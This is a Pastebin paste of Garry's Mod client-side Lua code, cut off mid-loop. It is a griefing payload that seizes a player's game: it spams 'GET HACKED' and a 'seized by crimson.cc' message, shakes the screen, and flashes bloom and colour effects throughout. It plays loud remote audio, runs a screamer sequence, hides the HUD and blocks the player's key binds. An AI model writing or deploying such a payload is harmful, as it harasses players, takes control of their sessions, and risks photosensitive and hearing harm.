Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- timer.Simple( 10, function() timer.Create( "lulz_chatspam1", 0.25, 0, function() chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), ">>>> GET HACKED <<<<") end)
- end)
- timer.Simple( 30, function() timer.Remove("lulz_chatspam1")
- end)
- timer.Simple( 5, function() timer.Create( "thedrop", 0.25, 0, function()
- util.ScreenShake( LocalPlayer():GetPos(), 20, 49, 1, 0 )
- end )
- end)
- timer.Simple( 5.5, function()
- sound.PlayURL("https://www.text2speech.org/FW/getfile.php?file=9fb3d47aac569f50dbd77054035d2f33%2Fspeech.mp3", "mono", function(station)
- if (IsValid(station)) then
- station:Play()
- end
- end)
- end)
- timer.Simple( 7, function() surface.PlaySound( "physics/concrete/boulder_impact_hard1.wav" ) end)
- timer.Simple( 8, function() surface.PlaySound( "physics/concrete/boulder_impact_hard2.wav" ) end)
- timer.Simple( 10, function() surface.PlaySound( "physics/concrete/boulder_impact_hard3.wav" ) end)
- timer.Simple( 11, function() surface.PlaySound( "physics/concrete/boulder_impact_hard4.wav" ) end)
- timer.Simple( 12, function() surface.PlaySound( "physics/concrete/boulder_impact_hard1.wav" ) end)
- timer.Simple( 14, function() surface.PlaySound( "physics/concrete/boulder_impact_hard2.wav" ) end)
- timer.Simple( 14.5, function() surface.PlaySound( "physics/concrete/boulder_impact_hard3.wav" ) end)
- timer.Simple( 16, function() surface.PlaySound( "physics/concrete/boulder_impact_hard4.wav" ) end)
- timer.Simple( 16.5, function() surface.PlaySound( "physics/concrete/boulder_impact_hard2.wav" ) end)
- timer.Simple( 3, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 3, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 3, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 3, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 3, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 3, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 10, function() timer.Create("REEEEEEEEEEE",0 ,0 , function()
- MsgC(HSVToColor( CurTime() % 6 * 66, 1, 1 ), "==> ==> | | | | | oh shit oh shit oh shit | | | | | <== <==\n")
- end)
- end)
- timer.Simple( 15, function() sound.PlayURL("https://www.text2speech.org/FW/getfile.php?file=a9ab8502a20e224133a305e9275ed970%2Fspeech.mp3", "mono", function(station)
- if (IsValid(station)) then
- station:Play()
- end
- end)
- end)
- timer.Simple( 17, function() sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
- end)
- timer.Simple( 40, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 00,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 0,
- ["$pp_colour_mulb" ] = 1
- }
- end )
- end)
- timer.Simple( 40, function() sound.PlayURL("https://www.text2speech.org/FW/getfile.php?file=2e66ebd2292c0815a1a645ec983f9376%2Fspeech.mp3", "mono", function(station)
- if (IsValid(station)) then
- station:Play()
- end
- end)
- end)
- timer.Simple( 40, function() chat.AddText(Color( 255, 255, 255), "oh fuck my eyes are bleeding") end)
- timer.Simple( 60, function() sound.PlayURL("https://www.text2speech.org/FW/getfile.php?file=e5da0db87b32bc7657ce4013d7e51504%2Fspeech.mp3", "mono", function(station)
- if (IsValid(station)) then
- station:Play()
- end
- end)
- end)
- timer.Simple( 65, function() local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
- mdl:SetNoDraw( true )
- local posCache, time = {}, 0
- hook.Add( "HUDPaint", "dance", function()
- if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
- local idx = mdl:LookupSequence("taunt_dance")
- mdl.SeqDuration = mdl:SequenceDuration( idx )
- mdl.SeqStart = CurTime()
- mdl:ResetSequence( idx )
- end
- mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
- local w, h = 300, 300
- local ang = Angle( 0, 0, 0 )
- for i = 1, 32 do
- if CurTime() > time then
- posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
- end
- local x, y = posCache[i][1], posCache[i][2]
- cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
- cam.IgnoreZ( true )
- render.SuppressEngineLighting( true )
- render.SetLightingOrigin( mdl:GetPos() )
- render.ResetModelLighting( 1, 1, 1 )
- render.SetColorModulation( 0, 0, 1 )
- mdl:DrawModel()
- render.SuppressEngineLighting( false )
- cam.IgnoreZ( false )
- cam.End3D()
- end
- if CurTime() > time then
- time = CurTime() +0.15
- end
- end )
- end)
- timer.Simple( 65, function() chat.AddText(Color( 255, 255, 255), "OH SHIT THE SKELETONS") end)
- timer.Simple( 67, function() local emitter = ParticleEmitter( LocalPlayer():GetPos() )
- local time = 0
- hook.Add( "Think", "wat", function()
- if CurTime() < time then
- return
- end
- time = CurTime() +0.05
- for i = 1, 16 do
- local part = emitter:Add(
- "particles/balloon_bit",
- LocalPlayer():GetPos() +Vector(
- math.random( -256, 256 ),
- math.random( -256, 256 ),
- 256
- )
- )
- if part then
- local Size = math.random( 4, 7 )
- part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
- part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
- part:SetDieTime( 4.5 )
- part:SetGravity( Vector(40, 0, -250) )
- part:SetLifeTime( 0 )
- part:SetStartSize( Size /2 )
- part:SetEndSize( Size )
- part:SetCollide( true )
- end
- end
- end )
- end)
- timer.Simple( 80, function() sound.PlayURL("https://www.text2speech.org/FW/getfile.php?file=44911b80b05d8fae05b257b3ca8e0b39%2Fspeech.mp3", "mono", function(station)
- if (IsValid(station)) then
- station:Play()
- end
- end)
- end)
- timer.Simple( 90, function() hook.Add( "RenderScreenspaceEffects", "ohgod", function()
- local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
- DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
- DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
- end )
- end)
- timer.Simple( 90, function() hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
- render.SetMaterial( Material("cable/blue_elec") )
- for i = 1, 32 do
- render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
- end
- end )
- end)
- timer.Simple( 87, function() chat.AddText(Color( 255, 255, 255), "LET THE BEAT DROP!!!!!!!!") end)
- timer.Simple( 88, function() timer.Create( "thedrop", 0.30, 0, function()
- util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
- end )
- end)
- timer.Simple( 88, function() timer.Create( "lulz_chatspam", 0.25, 0, function() chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Warning you have been seized by crimson.cc ;^)") end)
- end)
- timer.Simple( 89, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 1,
- ["$pp_colour_addb"] = 00,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 1,
- ["$pp_colour_mulb" ] = 0
- }
- end )
- end)
- timer.Simple( 90, function() local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
- mdl:SetNoDraw( true )
- local posCache, time = {}, 0
- hook.Add( "HUDPaint", "dance", function()
- if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
- local idx = mdl:LookupSequence("taunt_dance")
- mdl.SeqDuration = mdl:SequenceDuration( idx )
- mdl.SeqStart = CurTime()
- mdl:ResetSequence( idx )
- end
- mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
- local w, h = 300, 300
- local ang = Angle( 0, 0, 0 )
- for i = 1, 32 do
- if CurTime() > time then
- posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
- end
- local x, y = posCache[i][1], posCache[i][2]
- cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
- cam.IgnoreZ( true )
- render.SuppressEngineLighting( true )
- render.SetLightingOrigin( mdl:GetPos() )
- render.ResetModelLighting( 1, 1, 1 )
- render.SetColorModulation( 1, 0, 0 )
- mdl:DrawModel()
- render.SuppressEngineLighting( false )
- cam.IgnoreZ( false )
- cam.End3D()
- end
- if CurTime() > time then
- time = CurTime() +0.15
- end
- end )
- end)
- timer.Simple( 30, function() local mdl = ClientsideModel( "models/hunter/blocks/cube025x025x025.mdl", RENDERGROUP_BOTH )
- mdl:SetNoDraw( true )
- local posCache, time = {}, 0
- hook.Add( "HUDPaint", "dance2", function()
- if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
- local idx = mdl:LookupSequence("idle")
- mdl.SeqDuration = mdl:SequenceDuration( idx )
- mdl.SeqStart = CurTime()
- mdl:ResetSequence( idx )
- end
- mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
- local w, h = 100, 100
- local ang = Angle( 0, 0, 0 )
- for i = 1, 64 do
- if CurTime() > time then
- posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
- end
- local x, y = posCache[i][1], posCache[i][2]
- cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
- cam.IgnoreZ( true )
- render.SuppressEngineLighting( true )
- render.SetLightingOrigin( mdl:GetPos() )
- render.ResetModelLighting( 1, 1, 1 )
- render.SetColorModulation( 1, 0, 0 )
- mdl:DrawModel()
- render.SuppressEngineLighting( false )
- cam.IgnoreZ( false )
- cam.End3D()
- end
- if CurTime() > time then
- time = CurTime() +0.05
- end
- end )
- end)
- timer.Simple( 110, function() local mdl = ClientsideModel( "models/hunter/blocks/cube05x05x05.mdl", RENDERGROUP_BOTH )
- mdl:SetNoDraw( true )
- local posCache, time = {}, 0
- hook.Add( "HUDPaint", "dance3", function()
- if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
- local idx = mdl:LookupSequence("idle")
- mdl.SeqDuration = mdl:SequenceDuration( idx )
- mdl.SeqStart = CurTime()
- mdl:ResetSequence( idx )
- end
- mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
- local w, h = 50, 50
- local ang = Angle( 0, 0, 0 )
- for i = 1, 128 do
- if CurTime() > time then
- posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
- end
- local x, y = posCache[i][1], posCache[i][2]
- cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
- cam.IgnoreZ( true )
- render.SuppressEngineLighting( true )
- render.SetLightingOrigin( mdl:GetPos() )
- render.ResetModelLighting( 1, 1, 1 )
- render.SetColorModulation( 0, 0, 1 )
- mdl:DrawModel()
- render.SuppressEngineLighting( false )
- cam.IgnoreZ( false )
- cam.End3D()
- end
- if CurTime() > time then
- time = CurTime() +0.01
- end
- end )
- end)
- timer.Simple( 101, function() timer.Remove( "lulz_chatspam" ) end)
- timer.Simple( 104, function() chat.AddText(Color( 255, 255, 255), "THANK'S FOR WATCHING AND STAYING HERE FOR OVER 1 MIN. NOW YOU MAY GET EAR RAPED AND HAUNTED") end)
- timer.Simple( 110, function() sound.PlayURL("https://www.text2speech.org/FW/getfile.php?file=f2ef302d64e31034ef72f6a0fa303657%2Fspeech.mp3", "mono", function(station)
- if (IsValid(station)) then
- station:Play()
- end
- end)
- end)
- timer.Simple( 110, function() timer.Create( "thedrop", 0.20, 0, function()
- util.ScreenShake( LocalPlayer():GetPos(), 512, 10, 0.29, 128 )
- end )
- end)
- timer.Simple( 115, function() local Hell = false
- local Video = nil
- local Noise = nil
- local Scream = nil
- local cache = { }
- local timercache = { }
- local soundcache = { }
- local modelcache = { }
- local debrisrand = {
- 'models/props_debris/concrete_chunk02b.mdl',
- 'models/props_debris/concrete_chunk02a.mdl',
- 'models/props_debris/broken_pile001a.mdl',
- 'models/props_debris/concrete_chunk01a.mdl'
- }
- local mdl = {
- "models/Gibs/HGIBS.mdl",
- "models/Gibs/HGIBS_rib.mdl",
- "models/Gibs/HGIBS_scapula.mdl",
- "models/Gibs/HGIBS_spine.mdl",
- "models/props_c17/doll01.mdl",
- "models/props_junk/sawblade001a.mdl",
- "models/props_debris/concrete_chunk03a.mdl",
- "models/props_debris/concrete_chunk04a.mdl"
- }
- local CreatePhysModel = function(mdl)
- local ent = ents.CreateClientProp()
- ent:SetModel(mdl)
- ent:PhysicsInit(SOLID_VPHYSICS)
- ent:SetMoveType(MOVETYPE_VPHYSICS)
- ent:SetSolid(SOLID_VPHYSICS)
- table.insert(modelcache, ent)
- return ent
- end
- local CreateModel = function(mdl, isragdoll)
- local ent
- if isragdoll then
- ent = ClientsideRagdoll(mdl)
- else
- ent = ClientsideModel(mdl, RENDERGROUP_OTHER)
- end
- table.insert(modelcache, ent)
- return ent
- end
- local AddSound = function(name)
- local snd = CreateSound(LocalPlayer(), name)
- table.insert(soundcache, snd)
- return snd
- end
- local NewHookAdd = function(str, name, func)
- --name = "dronesrewrite_hell_hooks" .. name
- hook.Add(str, name, func)
- table.insert(cache, {
- str = str,
- name = name
- })
- end
- local NewTimerSimple = function(time, func)
- local name = "dronesrewrite_hell_timers" .. table.Count(timercache)
- timer.Create(name, time, 1, func)
- table.insert(timercache, {
- name = name
- })
- end
- local StopTimers = function() for k, v in pairs(timercache) do timer.Destroy(v.name) end end
- local RemoveHooks = function() for k, v in pairs(cache) do hook.Remove(v.str, v.name) end end
- local StopSounds = function() for k, v in pairs(soundcache) do if v then v:Stop() end end end
- local RemoveModels = function() for k, v in pairs(modelcache) do SafeRemoveEntity(v) end end
- local function End()
- local snd = CreateSound(LocalPlayer(), "ambient/gas/steam2.wav")
- snd:Play()
- snd:ChangePitch(250, 0)
- hook.Add("RenderScreenspaceEffects", "dronesrewrite_hell_renderend", function()
- local eff_tab = {
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 0,
- ["$pp_colour_brightness"] = -1,
- ["$pp_colour_contrast"] = 1,
- ["$pp_colour_colour"] = 0,
- ["$pp_colour_mulr"] = 0,
- ["$pp_colour_mulg"] = 0,
- ["$pp_colour_mulb"] = 0
- }
- DrawColorModify(eff_tab)
- DrawMaterialOverlay("effects/tvscreen_noise002a", 0)
- end)
- surface.PlaySound("hl1/ambience/port_suckin1.wav")
- surface.PlaySound("hl1/ambience/particle_suck2.wav")
- timer.Simple(4, function()
- snd:Stop()
- snd = nil
- hook.Remove("RenderScreenspaceEffects", "dronesrewrite_hell_renderend")
- local Const = 1
- hook.Add("RenderScreenspaceEffects", "dronesrewrite_hell_renderend2", function()
- Const = Lerp(0.005, Const, 0)
- if Const <= 0.05 then hook.Remove("RenderScreenspaceEffects", "dronesrewrite_hell_renderend2") end
- local eff_tab = {
- ["$pp_colour_addr"] = Const * 0.1,
- ["$pp_colour_addg"] = Const * 0.1,
- ["$pp_colour_addb"] = 0,
- ["$pp_colour_brightness"] = -Const,
- ["$pp_colour_contrast"] = 1 + Const * 0.9,
- ["$pp_colour_colour"] = 1,
- ["$pp_colour_mulr"] = Const * 5,
- ["$pp_colour_mulg"] = Const,
- ["$pp_colour_mulb"] = 0
- }
- DrawColorModify(eff_tab)
- DrawBloom(Const * 1, Const, Const, Const, Const, Const, Const, Const, Const)
- DrawSharpen(Const * 0.7, Const * 4)
- DrawMotionBlur(Const * 0.3, Const, Const * 0.01)
- DrawToyTown(Const * 8, ScrH())
- end)
- local snd = CreateSound(LocalPlayer(), "drones/hell/screamshorror.wav")
- snd:Play()
- snd:ChangePitch(110, 0)
- timer.Simple(14, function()
- snd:ChangeVolume(0, 5)
- end)
- util.ScreenShake(LocalPlayer():GetPos(), 3, 55, 5, 1000)
- surface.PlaySound("ambient/machines/machine1_hit2.wav")
- end)
- RemoveHooks()
- StopTimers()
- StopSounds()
- RemoveModels()
- timer.Destroy("dronesrewrite_loopscreamer")
- if IsValid(Noise) then Noise:Stop() end
- if IsValid(Scream) then Scream:Stop() end
- LocalPlayer():SetNoDraw(false)
- LocalPlayer():DrawViewModel(true)
- Hell = false
- end
- local function EnableHell()
- local Models = { }
- local Scrap = { }
- local Const = 0
- local function AddRender()
- NewHookAdd("RenderScreenspaceEffects", "dronesrewrite_hell_render", function()
- local eff_tab = {
- ["$pp_colour_addr"] = Const * 0.1,
- ["$pp_colour_addg"] = Const * 0.1,
- ["$pp_colour_addb"] = 0,
- ["$pp_colour_brightness"] = -Const,
- ["$pp_colour_contrast"] = 1 + Const * 0.9,
- ["$pp_colour_colour"] = 1,
- ["$pp_colour_mulr"] = Const * 5,
- ["$pp_colour_mulg"] = Const,
- ["$pp_colour_mulb"] = 0
- }
- DrawColorModify(eff_tab)
- DrawBloom(Const * 1, Const, Const, Const, Const, Const, Const, Const, Const)
- DrawSharpen(Const * 0.7, Const * 4)
- DrawMotionBlur(Const * 0.3, Const, Const * 0.01)
- end)
- end
- local function MakeNoise(tiem)
- local snd = AddSound("ambient/gas/steam2.wav")
- snd:Play()
- snd:ChangePitch(250, 0)
- NewHookAdd("RenderScreenspaceEffects", "dronesrewrite_hell_render", function()
- local eff_tab = {
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 0,
- ["$pp_colour_brightness"] = -1,
- ["$pp_colour_contrast"] = 1,
- ["$pp_colour_colour"] = 0,
- ["$pp_colour_mulr"] = 0,
- ["$pp_colour_mulg"] = 0,
- ["$pp_colour_mulb"] = 0
- }
- DrawColorModify(eff_tab)
- DrawMaterialOverlay("effects/tvscreen_noise002a", 0)
- end)
- NewTimerSimple(tiem, function() snd:Stop() AddRender() end)
- end
- local function LastScene()
- local staticPos
- local newAng
- local toChangeAng
- local screamer
- NewHookAdd("ShouldDrawLocalPlayer", "dronesrewrite_hell_govno", function() return false end)
- NewHookAdd("CalcView", "dronesrewrite_hell_lastScene", function(ply, pos, ang, fov)
- if not staticPos then staticPos = pos end
- if not newAng then newAng = ang end
- if not toChangeAng then toChangeAng = Angle(0, newAng.y + 180, 0) end
- if not screamer then
- local ang = newAng
- ang.p = 0
- screamer = CreateModel("models/Zombie/Poison.mdl")
- screamer:SetPos(pos - Vector(0, 0, 60) - ang:Forward() * 50)
- screamer:SetAngles(ang)
- screamer:SetModelScale(1.2, 0)
- screamer:Spawn()
- screamer:SetSequence(2)
- local dlight = DynamicLight(LocalPlayer():EntIndex())
- if dlight then
- dlight.pos = pos - ang:Forward() * 40
- dlight.r = 255
- dlight.g = 0
- dlight.b = 0
- dlight.brightness = 10
- dlight.Decay = 300
- dlight.Size = 2000
- dlight.DieTime = CurTime() + 0.7
- end
- end
- newAng = LerpAngle(0.25, newAng, toChangeAng + AngleRand() * 0.06)
- local view = { }
- view.origin = staticPos
- view.angles = newAng
- view.fov = fov
- return view
- end)
- surface.PlaySound("vo/npc/male01/pain07.wav")
- NewTimerSimple(0.3, function() surface.PlaySound("npc/stalker/go_alert2a.wav") end)
- NewTimerSimple(3, function()
- surface.PlaySound("hl1/ambience/particle_suck2.wav")
- End()
- if screamer then screamer:Remove() end
- local snd = AddSound("hl1/ambience/deadsignal2.wav")
- snd:Play()
- surface.PlaySound("beams/beamstart5.wav")
- NewHookAdd("RenderScreenspaceEffects", "homoef", function()
- local eff_tab = {
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 0,
- ["$pp_colour_brightness"] = -1,
- ["$pp_colour_contrast"] = 1,
- ["$pp_colour_colour"] = 0,
- ["$pp_colour_mulr"] = 0,
- ["$pp_colour_mulg"] = 0,
- ["$pp_colour_mulb"] = 0
- }
- DrawColorModify(eff_tab)
- DrawMaterialOverlay("effects/tvscreen_noise002a", 0)
- end)
- NewTimerSimple(10, function()
- snd:Stop()
- End()
- end)
- end)
- end
- AddRender()
- local function MakeCorpse()
- sound.Play("npc/zombie/zombie_alert1.wav", LocalPlayer():GetPos(), 90, math.random(40, 70))
- local tr = util.TraceLine({
- start = LocalPlayer():GetPos(),
- endpos = LocalPlayer():GetPos() + vector_up * 5000,
- filter = LocalPlayer()
- })
- local x = math.random(0, 360)
- local tr = util.TraceLine({
- start = tr.HitPos,
- endpos = tr.HitPos + Vector(math.cos(x), math.sin(x), 0) * math.random(1000, 2000),
- filter = LocalPlayer()
- })
- local tr = util.TraceLine({
- start = tr.HitPos,
- endpos = tr.HitPos - vector_up * 20000,
- filter = LocalPlayer()
- })
- local pos = tr.HitPos - tr.HitNormal * 8
- local mdl = CreateModel("models/Humans/Charple02.mdl")
- mdl:SetAngles(Angle(-70, math.random(0, 360), 0))
- mdl:SetNoDraw(false)
- mdl:DrawShadow(true)
- mdl:SetPos(pos)
- end
- local function MakeGuys()
- local tr = util.TraceLine({
- start = LocalPlayer():GetPos(),
- endpos = LocalPlayer():GetPos() + Vector(0, 0, 10000),
- filter = LocalPlayer()
- })
- local x = math.random(0, 360)
- local tr = util.TraceLine({
- start = tr.HitPos + tr.HitNormal * 32,
- endpos = tr.HitPos + Vector(math.cos(x), math.sin(x), 0) * math.random(1000, 2000),
- filter = LocalPlayer()
- })
- local tr = util.TraceLine({
- start = tr.HitPos + tr.HitNormal * 32,
- endpos = tr.HitPos - vector_up * 20000,
- filter = LocalPlayer()
- })
- local pos = tr.HitPos
- ParticleEffect("fire_test2", pos, Angle(0, 0, 0))
- NewTimerSimple(2.2, function()
- sound.Play("vo/npc/male01/no02.wav", LocalPlayer():GetPos(), 75, math.random(70, 90), 1)
- local mdl = CreateModel("models/Humans/Group01/Male_Cheaple.mdl")
- mdl:SetModelScale(2, 0)
- mdl:SetAngles(Angle(0, (LocalPlayer():GetPos() - tr.HitPos):Angle().y, 0))
- mdl:SetPos(pos)
- mdl:SetMaterial("models/flesh")
- mdl:SetColor(Color(255, 0, 0))
- mdl:Spawn()
- NewTimerSimple(math.Rand(1, 3), function() mdl:Remove() end)
- end)
- end
- local function MakeCamera()
- local moan = AddSound("ambient/voices/crying_loop1.wav")
- moan:Play()
- moan:ChangePitch(math.random(50, 60), 0)
- surface.PlaySound("npc/zombie/foot_slide" .. math.random(1, 3) .. ".wav")
- surface.PlaySound("npc/barnacle/barnacle_tongue_pull" .. math.random(1, 3) .. ".wav")
- NewHookAdd("HUDPaint", "dronesrewrite_drawshit", function()
- surface.SetMaterial(Material("stuff/misc/room"))
- surface.SetDrawColor(Color(255, 255, 255))
- local movex = math.random(-600, 0)
- local movey = math.random(-600, 0)
- surface.DrawTexturedRect(movex, movey, ScrW() - movex, ScrH() - movey)
- end)
- NewTimerSimple(math.Rand(0.1, 0.2), function()
- hook.Remove("HUDPaint", "dronesrewrite_drawshit")
- moan:Stop()
- end)
- end
- local crying
- NewTimerSimple(3.5, function()
- crying = AddSound("ambient/voices/crying_loop1.wav")
- crying:Play()
- for i = 1, 6 do
- NewTimerSimple(math.Rand(1, 8), function()
- util.ScreenShake(LocalPlayer():GetPos(), 30, 7, 4, 1000)
- surface.PlaySound("physics/concrete/boulder_impact_hard" .. math.random(1, 4) .. ".wav")
- end)
- end
- end)
- NewTimerSimple(7, function()
- NewTimerSimple(5, function() MakeNoise(3) end)
- NewTimerSimple(6, function()
- crying:Stop()
- Const = 1.2 -- instant shit
- for i = 1, 200 do
- MakeCorpse()
- end
- local no_drawing = {
- CHudHealth = true,
- CHudBattery = true,
- CHudCrosshair = true,
- CHudAmmo = true,
- CHudSecondaryAmmo = true,
- NetGraph = true
- }
- NewHookAdd("HUDShouldDraw", "dronesrewrite_hell_nohuddraw", function(name)
- if no_drawing[name] then return false end
- end)
- NewHookAdd("PlayerBindPress", "dronesrewrite_hell_shitmenu", function(ply, bind, p)
- local tools = {
- "phys_swap",
- "slot",
- "invnext",
- "invprev",
- "lastinv",
- "gmod_tool",
- "gmod_toolmode"
- }
- for k, v in pairs(tools) do if bind:find(v) then return true end end
- end)
- --for i = 1, 10 do
- AddSound("drones/hell/666.wav"):Play()
- --end
- sound.PlayURL("https://drive.google.com/uc?export=download&id=0B-bmGdZLSKZFX0xMNnR1OU5iRE0", "mono",function(sts)
- if IsValid(sts) then Noise = sts end
- end)
- sound.PlayURL("https://drive.google.com/uc?export=download&id=0B-bmGdZLSKZFRDVSX3Z6Nk5oNVk", "mono",function(sts)
- if IsValid(sts) then Scream = sts end
- end)
- --NewHookAdd("HUDShouldDraw", "nohud", function() return false end)
- --[[local ang = LocalPlayer():EyeAngles()
- NewHookAdd("CalcView", "dronesrewrite_makeshitstatic", function(ply, _pos, _ang, fov)
- local view = { }
- view.origin = _pos
- view.angles = ang
- view.fov = fov
- ang = Lerp(0.2, ang, _ang)
- return view
- end)]]
- LocalPlayer():SetNoDraw(true)
- LocalPlayer():DrawViewModel(false)
- for i = 1, 300 do
- local e = CreateModel("models/weapons/w_bugbait.mdl")
- e:SetModelScale(math.random(200, 300), 0)
- e:SetAngles(Angle(90, 0, 0))
- local vec = VectorRand() * 12000
- vec.z = math.abs(vec.z) / 3
- e:SetPos(LocalPlayer():GetPos() + vec)
- e:Spawn()
- e.RotDir = math.random(-1, 1)
- e.ZDist = math.Rand(1, 10)
- e.ZSpeed = math.Rand(0.3, 1.1)
- Models[i] = e
- end
- sound.Play("npc/stalker/go_alert2a.wav", LocalPlayer():GetPos(), math.random(50, 120), math.random(30, 70), 1)
- util.ScreenShake(LocalPlayer():GetPos(), 3, 55, 5, 1000)
- timer.Create("dronesrewrite_loopscreamer", 1.5, 0, function()
- sound.Play("vo/ravenholm/madlaugh03.wav", LocalPlayer():GetPos(), 100, math.random(60, 80), 1)
- util.ScreenShake(LocalPlayer():GetPos(), 3, 55, 5, 1000)
- end)
- NewTimerSimple(9, function()
- local dlight = DynamicLight(LocalPlayer():EntIndex())
- if dlight then
- dlight.pos = Vector(-2224.216797, -2918.063721, 2354.03125)
- dlight.r = 255
- dlight.g = 0
- dlight.b = 0
- dlight.brightness = 16
- dlight.Decay = 1000
- dlight.Size = 2000
- dlight.DieTime = CurTime() + 2
- end
- local pos = LocalPlayer():GetPos() + Vector(0, 0, 120)
- local ang = Angle(0, LocalPlayer():GetAngles().y, 0)
- local tr = util.TraceLine({
- start = pos,
- endpos = pos + ang:Forward() * 86,
- filter = LocalPlayer()
- })
- local rag_pos = tr.HitPos + tr.HitNormal * 32 - Vector(0, 0, 100)
- for i = 1, 16 do
- sound.Play("npc/stalker/go_alert2a.wav", LocalPlayer():GetPos(), 120, 80, 1)
- end
- local mdl = CreateModel("models/Humans/Charple01.mdl")
- mdl:SetModelScale(1.5, 0)
- mdl:SetAngles(ang + Angle(0, 180, 0))
- mdl:SetColor(Color(255, 0, 0))
- mdl:SetPos(rag_pos)
- mdl:Spawn()
- ParticleEffect("fire_test2", rag_pos, Angle(0, 0, 0))
- NewHookAdd("CalcView", "dronesrewrite_doshit", function(ply, _pos, _ang, fov)
- local view = { }
- view.origin = pos + VectorRand()
- view.angles = ang
- view.fov = fov + math.random(-80, -50)
- return view
- end)
- NewTimerSimple(1, function()
- MakeNoise(0.5)
- mdl:Remove()
- hook.Remove("CalcView", "dronesrewrite_doshit")
- end)
- end)
- NewTimerSimple(14, function()
- NewHookAdd("CalcView", "dronesrewrite_makeshit", function(ply, _pos, _ang, fov)
- local view = { }
- view.origin = _pos + VectorRand() * 25
- view.angles = _ang
- view.fov = fov
- return view
- end)
- NewTimerSimple(2, function() hook.Remove("CalcView", "dronesrewrite_makeshit") end)
- end)
- NewTimerSimple(25, function()
- NewHookAdd("CalcView", "dronesrewrite_makeshit", function(ply, _pos, _ang, fov)
- local view = { }
- view.origin = _pos + VectorRand() * 50
- view.angles = _ang + AngleRand() * 0.08
- view.fov = fov
- return view
- end)
- NewTimerSimple(3, function() hook.Remove("CalcView", "dronesrewrite_makeshit") end)
- end)
- NewTimerSimple(20, function()
- for i = 1, 50 do
- MakeNoise(0.5)
- MakeGuys()
- end
- NewTimerSimple(4.6, function() MakeNoise(0.6) end)
- end)
- NewTimerSimple(30, function()
- for i = 1, 20 do
- surface.PlaySound("npc/barnacle/barnacle_die" .. math.random(1, 2) .. ".wav")
- end
- end)
- NewTimerSimple(35, function()
- --- AOOSIDJOAIDOSDIFJAS
- for i = 1, 10 do
